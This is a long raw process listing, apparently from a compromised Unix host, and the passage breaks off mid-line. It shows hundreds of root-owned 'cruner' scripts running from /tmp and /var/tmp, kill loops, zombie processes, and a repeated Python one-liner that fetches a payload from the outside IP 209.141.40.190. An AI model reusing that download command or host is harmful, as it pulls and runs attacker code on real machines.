12243 11713 0 15:45:41 ? 0:00 /bin/ksh -p /bin/kill -9 > root 20505 18231 0 - ? 0:00 <defunct> > root 3150 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 6815 14595 0 - ? 0:00 <defunct> > root 26092 9210 0 15:45:53 ? 0:00 bash -sh > root 29966 24800 0 15:45:48 ? 0:00 sh /var/tmp/cruner > root 18160 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26372 3850 0 15:46:10 ? 0:00 xargs kill -9 > root 2096 12427 0 15:46:06 ? 0:00 bash -sh > root 424 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29327 21485 0 15:46:11 ? 0:00 bash -sh > root 4390 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16860 19779 0 - ? 0:00 <defunct> > root 26546 20394 0 - ? 0:00 <defunct> > root 16124 20608 0 15:46:08 ? 0:00 sh /tmp/cruner > root 23508 643 0 15:45:17 ? 0:00 sleep 60 > root 871 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25058 20330 0 - ? 0:00 <defunct> > root 10502 17383 0 - ? 0:00 <defunct> > root 19383 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 2672 10223 0 15:46:06 ? 0:00 sleep 60 > root 13688 14531 0 - ? 0:00 <defunct> > root 8696 9347 0 15:43:47 ? 0:00 bash -sh > root 14730 14721 0 15:44:47 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16953 25405 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 21408 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6382 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 6448 25360 0 15:45:20 ? 0:00 sleep 60 > root 547 21380 0 15:45:48 ? 0:00 sleep 60 > root 24492 10165 0 - ? 0:00 <defunct> > root 23082 29825 0 - ? 0:00 <defunct> > root 15894 15361 0 15:46:08 ? 0:00 bash -sh > root 17238 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 5529 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23886 18769 0 15:44:08 ? 0:00 bash -sh > root 18193 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 7906 19802 0 - ? 0:00 <defunct> > root 18606 23557 0 15:43:34 ? 0:00 bash -sh > root 23245 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 8674 29844 0 15:46:07 ? 0:00 sleep 60 > root 21863 1 0 20:00:35 ? 0:00 sh /var/tmp/cruner > root 27927 12626 0 15:45:18 ? 0:00 sleep 60 > root 27965 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 27955 11949 0 15:46:10 ? 0:00 bash -sh > root 14579 28943 0 15:45:21 ? 0:00 bash -sh > root 26280 2526 0 - ? 0:00 <defunct> > root 10027 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24381 28333 0 15:46:01 ? 0:00 sleep 60 > root 24727 20619 0 15:46:10 ? 0:00 sh /var/tmp/cruner > root 3954 28479 0 15:45:54 ? 0:00 bash -sh > root 26985 4472 0 - ? 0:00 <defunct> > root 19487 23161 0 15:45:29 ? 0:00 sleep 60 > root 12488 24536 0 15:45:36 ? 0:00 bash -sh > root 22031 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 20908 20907 0 15:45:22 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20044 25894 0 15:45:12 ? 0:00 sh /var/tmp/cruner > root 26627 2768 0 15:45:07 ? 0:00 bash -sh > root 10729 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18270 21326 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 4756 4743 0 15:45:54 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7169 23818 0 15:46:07 ? 0:00 bash -sh > root 14002 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14607 6553 0 15:45:05 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5762 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14786 8090 0 15:46:08 ? 0:00 sh /var/tmp/cruner > root 17665 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26278 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27546 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10278 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7704 12751 0 15:46:03 ? 0:00 sleep 60 > root 7716 24503 0 15:43:43 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4372 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5694 23204 0 - ? 0:00 <defunct> > root 7146 7103 0 15:46:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25964 20940 0 - ? 0:00 <defunct> > root 29765 17383 0 - ? 0:00 <defunct> > root 19023 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15324 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29414 9669 0 - ? 0:00 <defunct> > root 780 7649 0 - ? 0:00 <defunct> > root 16874 986 0 - ? 0:00 <defunct> > root 8611 15690 0 15:45:40 ? 0:00 /bin/ksh -p /bin/kill -9 > root 26676 23974 0 15:45:47 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26129 9359 0 15:45:23 ? 0:00 xargs kill -9 > root 4281 14714 0 - ? 0:00 <defunct> > root 3033 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 3917 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24730 13011 0 15:44:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23101 622 0 15:45:13 ? 0:00 sleep 60 > root 11336 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 28277 14193 0 15:44:41 ? 0:00 bash -sh > root 16538 4485 0 15:46:08 ? 0:00 xargs kill -9 > root 16590 27896 0 15:45:42 ? 0:00 sleep 60 > root 4849 4278 0 15:45:24 ? 0:00 sleep 60 > root 21505 6105 0 15:45:52 ? 0:00 xargs kill -9 > root 19285 21487 0 - ? 0:00 <defunct> > root 3520 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 919 20152 0 15:45:19 ? 0:00 bash -sh > root 27624 1 0 20:05:07 ? 0:00 sh /var/tmp/cruner > root 25780 4495 0 - ? 0:00 <defunct> > root 16694 27895 0 15:46:08 ? 0:00 sleep 60 > root 21716 18878 0 15:46:09 ? 0:00 sed -e s/\/.*//g > root 29307 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21448 16801 0 15:45:29 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7535 478 0 - ? 0:00 <defunct> > root 10362 16391 0 - ? 0:00 <defunct> > root 6474 6354 0 15:45:35 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19589 19401 0 15:46:09 ? 0:00 sleep 60 > root 24721 1081 0 - ? 0:00 <defunct> > root 23829 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7272 2947 0 15:45:36 ? 0:00 bash -sh > root 4583 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5729 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 9727 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 18529 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27842 121 0 15:46:02 ? 0:00 sleep 60 > root 9222 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7594 11684 0 - ? 0:00 <defunct> > root 4477 14675 0 - ? 0:00 <defunct> > root 26110 13128 0 - ? 0:00 <defunct> > root 22335 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 20739 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13842 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18791 8214 0 15:45:29 ? 0:00 bash -sh > root 5196 10227 0 - ? 0:00 <defunct> > root 1383 6881 0 15:45:53 ? 0:00 sleep 60 > root 23720 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 5169 21958 0 15:46:06 ? 0:00 sleep 60 > root 17753 16436 0 15:43:27 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8705 8698 0 15:45:58 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21506 22490 0 15:45:17 ? 0:00 sleep 60 > root 764 20964 0 - ? 0:00 <defunct> > root 18553 18035 0 15:46:09 ? 0:00 sleep 60 > root 4937 11922 0 15:46:06 ? 0:00 sleep 60 > root 936 22677 0 15:46:06 ? 0:00 bash -sh > root 28542 23884 0 15:45:18 ? 0:00 sleep 60 > root 26131 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 22015 1870 0 15:44:53 ? 0:00 bash -sh > root 22801 536 0 15:45:17 ? 0:00 sleep 60 > root 28561 25950 0 15:43:06 ? 0:00 bash -sh > root 18496 18362 0 - ? 0:00 <defunct> > root 9767 26006 0 - ? 0:00 <defunct> > root 29761 19454 0 - ? 0:00 <defunct> > root 2008 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 6399 8809 0 15:45:20 ? 0:00 sleep 60 > root 25437 18342 0 15:45:52 ? 0:00 sleep 60 > root 293 7662 0 15:45:48 ? 0:00 bash -sh > root 13312 22841 0 15:45:59 ? 0:00 xargs kill -9 > root 21171 20212 0 15:45:52 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4429 5910 0 - ? 0:00 <defunct> > root 8242 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2697 7461 0 - ? 0:00 <defunct> > root 16436 10604 0 15:43:27 ? 0:00 bash -sh > root 4454 13739 0 - ? 0:00 <defunct> > root 17978 17893 0 - ? 0:00 <defunct> > root 635 19755 0 15:45:27 ? 0:00 sleep 60 > root 3632 14337 0 15:45:58 ? 0:00 sleep 60 > root 7690 10637 0 15:45:20 ? 0:00 sleep 60 > root 7131 26671 0 15:46:07 ? 0:00 bash -sh > root 18197 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 24820 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28375 28302 0 15:45:43 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14461 18757 0 - ? 0:00 <defunct> > root 25933 18897 0 - ? 0:00 <defunct> > root 24485 15565 0 15:46:05 ? 0:00 sleep 60 > root 7786 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7097 10722 0 15:45:49 ? 0:00 sleep 60 > root 15566 24176 0 15:46:08 ? 0:00 sh /tmp/cruner > root 22110 23496 0 15:45:57 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12173 7664 0 15:45:41 ? 0:00 bash -sh > root 61 10425 0 15:45:27 ? 0:00 sleep 60 > root 6009 22074 0 15:46:06 ? 0:00 sleep 60 > root 29705 18460 0 - ? 0:00 <defunct> > root 21718 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 5898 5896 0 15:44:23 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21511 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21617 20666 0 15:43:14 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21735 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18527 17497 0 15:43:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6342 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 14537 14208 0 15:45:05 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 977 16985 0 15:44:50 ? 0:00 bash -sh > root 13611 11834 0 15:44:52 ? 0:00 bash -sh > root 25902 13368 0 - ? 0:00 <defunct> > root 26377 22609 0 15:46:05 ? 0:00 sleep 60 > root 20323 17880 0 15:45:12 ? 0:00 bash -sh > root 7498 23819 0 15:45:49 ? 0:00 sleep 60 > root 13359 6817 0 - ? 0:00 <defunct> > root 11829 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28082 14157 0 - ? 0:00 <defunct> > root 1644 18455 0 15:45:19 ? 0:00 sleep 60 > root 6981 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 8473 23587 0 15:45:58 ? 0:00 sleep 60 > root 15662 15632 0 15:44:52 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28183 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 1404 20470 0 15:45:14 ? 0:00 sleep 60 > root 11447 18779 0 15:45:25 ? 0:00 sleep 60 > root 27651 23675 0 - ? 0:00 <defunct> > root 24607 25554 0 15:44:58 ? 0:00 bash -sh > root 3058 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 12396 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 27259 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 212 165 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19705 2498 0 15:45:38 ? 0:00 bash -sh > root 7775 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12575 27666 0 - ? 0:00 <defunct> > root 27474 22173 0 15:45:18 ? 0:00 sleep 60 > root 24731 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21463 14692 0 - ? 0:00 <defunct> > root 25510 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22082 909 0 - ? 0:00 <defunct> > root 21318 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 21429 8655 0 15:46:05 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4692 23378 0 15:45:24 ? 0:00 sleep 60 > root 29521 3266 0 15:45:44 ? 0:00 bash -sh > root 11231 4812 0 15:44:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13745 26529 0 - ? 0:00 <defunct> > root 20111 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20487 20479 0 - ? 0:00 <defunct> > root 25111 5735 0 - ? 0:00 <defunct> > root 29403 23393 0 - ? 0:00 <defunct> > root 10883 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3618 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 9152 5982 0 15:43:51 ? 0:00 bash -sh > root 10696 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15553 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22807 8589 0 15:45:57 ? 0:00 sleep 60 > root 14745 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20270 12526 0 15:46:09 ? 0:00 bash -sh > root 9989 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13566 11479 0 15:44:16 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24861 15277 0 15:45:47 ? 0:00 sh /var/tmp/cruner > root 27567 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2085 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6229 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1172 683 0 15:44:59 ? 0:00 /bin/ksh -p /bin/kill -9 > root 14627 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19011 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29666 7358 0 15:45:18 ? 0:00 sleep 60 > root 21049 2899 0 - ? 0:00 <defunct> > root 22740 1684 0 15:45:26 ? 0:00 sleep 60 > root 7883 17014 0 15:45:25 ? 0:00 sleep 60 > root 25029 1558 0 15:45:30 ? 0:00 sleep 60 > root 1690 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1800 1790 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14941 18406 0 15:46:08 ? 0:00 bash -sh > root 5047 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 4595 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 13098 659 0 15:46:08 ? 0:00 sleep 60 > root 7460 2595 0 15:45:09 ? 0:00 bash -sh > root 8695 10169 0 15:45:10 ? 0:00 bash -sh > root 20291 12801 0 15:45:12 ? 0:00 sh /var/tmp/cruner > root 24287 16263 0 - ? 0:00 <defunct> > root 22582 21993 0 15:42:34 ? 0:00 bash -sh > root 15139 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26314 28576 0 15:45:18 ? 0:00 sleep 60 > root 6366 11028 0 15:45:54 ? 0:00 sleep 60 > root 9473 25123 0 15:46:07 ? 0:00 sleep 60 > root 13640 14440 0 - ? 0:00 <defunct> > root 25049 20790 0 - ? 0:00 <defunct> > root 7660 29279 0 15:45:36 ? 0:00 bash -sh > root 27724 27722 0 - ? 0:00 <defunct> > root 20927 311 0 15:44:48 ? 0:00 bash -sh > root 1100 28633 0 - ? 0:00 <defunct> > root 6930 1 0 23:08:36 ? 0:00 sh /var/tmp/cruner > root 11141 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 20953 20937 0 15:45:42 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7007 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4005 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26524 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13218 5652 0 - ? 0:00 <defunct> > root 2267 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4076 841 0 15:44:33 ? 0:00 bash -sh > root 17272 21432 0 15:45:32 ? 0:00 bash -sh > root 8065 4471 0 15:45:09 ? 0:00 sleep 60 > root 27292 1 0 21:22:48 ? 0:00 sh /var/tmp/cruner > root 25968 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 13829 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10374 5381 0 - ? 0:00 <defunct> > root 29550 24847 0 15:43:58 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29287 13981 0 15:45:44 ? 0:00 sleep 60 > root 3664 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17645 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22204 22877 0 15:44:53 ? 0:00 bash -sh > root 17246 6114 0 15:44:57 ? 0:00 bash -sh > root 28366 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26135 15855 0 15:45:07 ? 0:00 sleep 60 > root 23873 21089 0 15:45:47 ? 0:00 bash -sh > root 77 12997 0 15:44:59 ? 0:00 bash -sh > root 10593 26021 0 15:45:55 ? 0:00 bash -sh > root 19853 12711 0 15:46:00 ? 0:00 /bin/ksh -p /bin/kill -9 > root 23045 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 2054 15301 0 15:45:19 ? 0:00 sleep 60 > root 27902 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19150 24661 0 15:45:16 ? 0:00 bash -sh > root 2583 29313 0 15:43:54 ? 0:00 bash -sh > root 18732 24497 0 15:43:48 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15663 29933 0 15:43:33 ? 0:00 bash -sh > root 25327 13623 0 - ? 0:00 <defunct> > root 3151 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21987 14005 0 15:45:42 ? 0:00 xargs kill -9 > root 22059 6691 0 15:46:01 ? 0:00 sleep 60 > root 6168 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2051 23143 0 - ? 0:00 <defunct> > root 24000 26629 0 - ? 0:00 <defunct> > root 26682 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 8363 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 7284 10271 0 - ? 0:00 <defunct> > root 15675 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12752 875 0 - ? 0:00 <defunct> > root 26705 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 5572 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6942 13966 0 15:45:20 ? 0:00 sleep 60 > root 3126 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 24241 10554 0 - ? 0:00 <defunct> > root 15088 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22466 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15432 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 20265 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 14910 11034 0 15:44:05 ? 0:00 bash -sh > root 14409 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22603 8896 0 15:45:13 ? 0:00 bash -sh > root 11894 11872 0 15:45:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3298 17562 0 15:46:02 ? 0:00 sleep 60 > root 7741 22554 0 15:45:20 ? 0:00 sleep 60 > root 20761 6880 0 15:46:09 ? 0:00 sleep 60 > root 8601 13286 0 15:45:40 ? 0:00 sh /var/tmp/cruner > root 15187 13766 0 - ? 0:00 <defunct> > root 23740 3158 0 15:46:01 ? 0:00 bash -sh > root 4105 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 9300 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13462 13404 0 15:46:08 ? 0:00 /bin/ksh -p /bin/kill -9 > root 6765 14828 0 15:45:04 ? 0:00 bash -sh > root 24831 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18075 7864 0 - ? 0:00 <defunct> > root 7879 7866 0 15:43:50 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15484 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 23003 2276 0 15:46:09 ? 0:00 awk {print $7} > root 23914 939 0 15:46:05 ? 0:00 sleep 60 > root 24781 6735 0 - ? 0:00 <defunct> > root 11907 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20974 9129 0 15:45:22 ? 0:00 bash -sh > root 15771 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16580 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11682 29037 0 15:45:59 ? 0:00 bash -sh > root 29781 26440 0 15:45:34 ? 0:00 sleep 60 > root 9801 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21832 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 12967 14180 0 - ? 0:00 <defunct> > root 15322 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 22778 22776 0 15:44:32 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26373 4398 0 15:45:47 ? 0:00 bash -sh > root 12936 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23258 18637 0 - ? 0:00 <defunct> > root 2106 111 0 15:44:11 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22710 8496 0 - ? 0:00 <defunct> > root 9132 9527 0 15:43:43 ? 0:00 bash -sh > root 17628 7295 0 15:44:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14852 23521 0 - ? 0:00 <defunct> > root 8036 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 8985 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 8405 8404 0 15:45:36 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23953 16410 0 15:45:57 ? 0:00 sleep 60 > root 20312 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1294 13564 0 15:46:02 ? 0:00 sleep 60 > root 6950 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26970 532 0 - ? 0:00 <defunct> > root 26579 2290 0 15:45:53 ? 0:00 sh /var/tmp/cruner > root 13036 21707 0 15:45:21 ? 0:00 sleep 60 > root 22844 18746 0 15:46:05 ? 0:00 bash -sh > root 5912 14218 0 15:45:20 ? 0:00 bash -sh > root 10796 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 28906 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 24582 13842 0 15:46:10 ? 0:00 sleep 60 > root 26291 7750 0 15:46:01 ? 0:00 bash -sh > root 9284 9279 0 15:45:31 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11047 19036 0 15:45:15 ? 0:00 bash -sh > root 26866 19886 0 15:46:05 ? 0:00 sleep 60 > root 5479 10227 0 - ? 0:00 <defunct> > root 5360 14692 0 - ? 0:00 <defunct> > root 13812 11798 0 - ? 0:00 <defunct> > root 19770 3602 0 15:45:38 ? 0:00 bash -sh > root 29952 25175 0 15:46:11 ? 0:00 sleep 60 > root 19653 22993 0 15:45:38 ? 0:00 bash -sh > root 29884 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 27634 20388 0 15:46:02 ? 0:00 bash -sh > root 18187 12762 0 - ? 0:00 <defunct> > root 6075 29043 0 15:45:49 ? 0:00 sh /var/tmp/cruner > root 19098 14094 0 - ? 0:00 <defunct> > root 23569 29784 0 15:46:10 ? 0:00 sleep 60 > root 4744 11688 0 15:45:54 ? 0:00 bash -sh > root 12334 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29774 29607 0 15:46:11 ? 0:00 sleep 60 > root 13032 8036 0 15:45:29 ? 0:00 sleep 60 > root 10287 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 22174 11969 0 15:45:52 ? 0:00 xargs kill -9 > root 25695 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19339 5564 0 - ? 0:00 <defunct> > root 28504 8263 0 15:45:18 ? 0:00 sleep 60 > root 27467 540 0 - ? 0:00 <defunct> > root 11962 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20154 851 0 15:45:17 ? 0:00 bash -sh > root 8977 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 6147 10703 0 15:45:20 ? 0:00 sleep 60 > root 11179 6213 0 15:43:01 ? 0:00 bash -sh > root 205 18189 0 15:44:22 ? 0:00 bash -sh > root 25084 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22923 14533 0 15:45:02 ? 0:00 bash -sh > root 537 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 7383 1602 0 - ? 0:00 <defunct> > root 29223 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 2640 16263 0 - ? 0:00 <defunct> > root 10646 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7546 7063 0 15:46:07 ? 0:00 bash -sh > root 24394 15539 0 - ? 0:00 <defunct> > root 24103 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 7447 28950 0 15:44:38 ? 0:00 bash -sh > root 7852 495 0 15:46:07 ? 0:00 sleep 60 > root 21653 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 7341 24064 0 - ? 0:00 <defunct> > root 8348 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 4370 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 600 6015 0 15:45:48 ? 0:00 sh /tmp/cruner > root 15304 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 22305 29571 0 15:45:38 ? 0:00 sleep 60 > root 28268 28089 0 15:45:30 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 17354 14690 0 15:44:17 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7637 10737 0 15:45:15 ? 0:00 bash -sh > root 19970 18009 0 15:45:06 ? 0:00 bash -sh > root 13316 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 28255 17834 0 - ? 0:00 <defunct> > root 23141 17973 0 15:43:34 ? 0:00 bash -sh > root 18763 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7525 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15135 21912 0 15:45:29 ? 0:00 sleep 60 > root 13363 19314 0 15:45:11 ? 0:00 bash -sh > root 23933 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28621 21547 0 - ? 0:00 <defunct> > root 10490 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 14928 15278 0 15:45:05 ? 0:00 bash -sh > root 5077 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10970 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2979 23740 0 15:46:11 ? 0:00 bash -sh > root 28522 15087 0 - ? 0:00 <defunct> > root 12828 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16176 18416 0 15:45:42 ? 0:00 bash -sh > root 23120 23119 0 15:45:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28257 2333 0 15:45:27 ? 0:00 sleep 60 > root 18032 18031 0 15:44:57 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29273 6099 0 15:45:34 ? 0:00 sleep 60 > root 26430 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 10340 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6303 1 0 Oct 05 